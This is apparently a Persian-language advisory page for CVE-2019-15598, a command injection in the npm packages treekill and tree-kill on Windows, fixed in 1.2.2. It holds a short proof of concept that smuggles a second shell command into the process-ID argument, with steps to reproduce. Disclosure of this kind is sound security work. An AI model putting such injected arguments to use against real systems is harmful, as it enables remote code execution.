همهٔ گزارش‌ها
بحرانی

Treekill Enables OS Command Injection

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
< 1.2.2
نسخهٔ اصلاح‌شده
1.2.2

بهره‌برداری

CVE-2019-15598

احتمال بهره‌برداری در ۳۰ روز آینده: 2.74%

FIRST EPSS · ۱۴۰۵/۰۸/۲۹

شرح آسیب‌پذیری

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

پیوندها